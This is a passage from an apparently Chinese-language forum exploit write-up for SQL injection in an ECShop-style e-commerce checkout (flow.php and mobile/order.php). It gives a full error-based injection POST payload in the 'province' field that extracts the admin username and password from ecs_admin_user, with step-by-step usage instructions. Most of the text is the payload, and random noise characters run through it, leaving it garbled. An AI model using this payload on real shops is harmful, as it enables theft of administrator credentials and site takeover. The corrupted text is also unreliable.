s( y4 f% }% b7 u1 V3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= - A' v9 o" F- H$ w4 F' s举一反三,我们根据这个漏洞我们可以继续深入挖掘: 2 F+ l' a& L/ G$ K; U8 p* D+ x9 b8 @ q, Q. c! e( K
我们搜寻关键函数function available_shipping_list()# |4 S- ~0 `# @# i. i, p
; H% X" L, o! I, p* k在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同, i% j' F0 M/ W
5 L' E0 k3 e b( b: E: U6 r利用exp:$ W% K e6 J3 G7 W, s7 M
c; p% v4 z% @- N
1.点击一个商品,点击购买商标 ) D# B+ q g3 p7 O' [& Q- p. V; w % n1 \, V% S6 _6 g# m; y. _" ^2.登录会员帐号1 b6 j* H& A+ A* R% z" ]: G
$ q! n# T ^' u9 q. y6 }6 ^3.post提交:$ O' c% b3 T# p8 g" l, h: R5 v
7 }8 f8 s" S3 K6 \0 A5 jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id= & a) @5 i3 H q/ {( m 0 J: {1 q. r" h$ ?: x+ G, l0 ?; R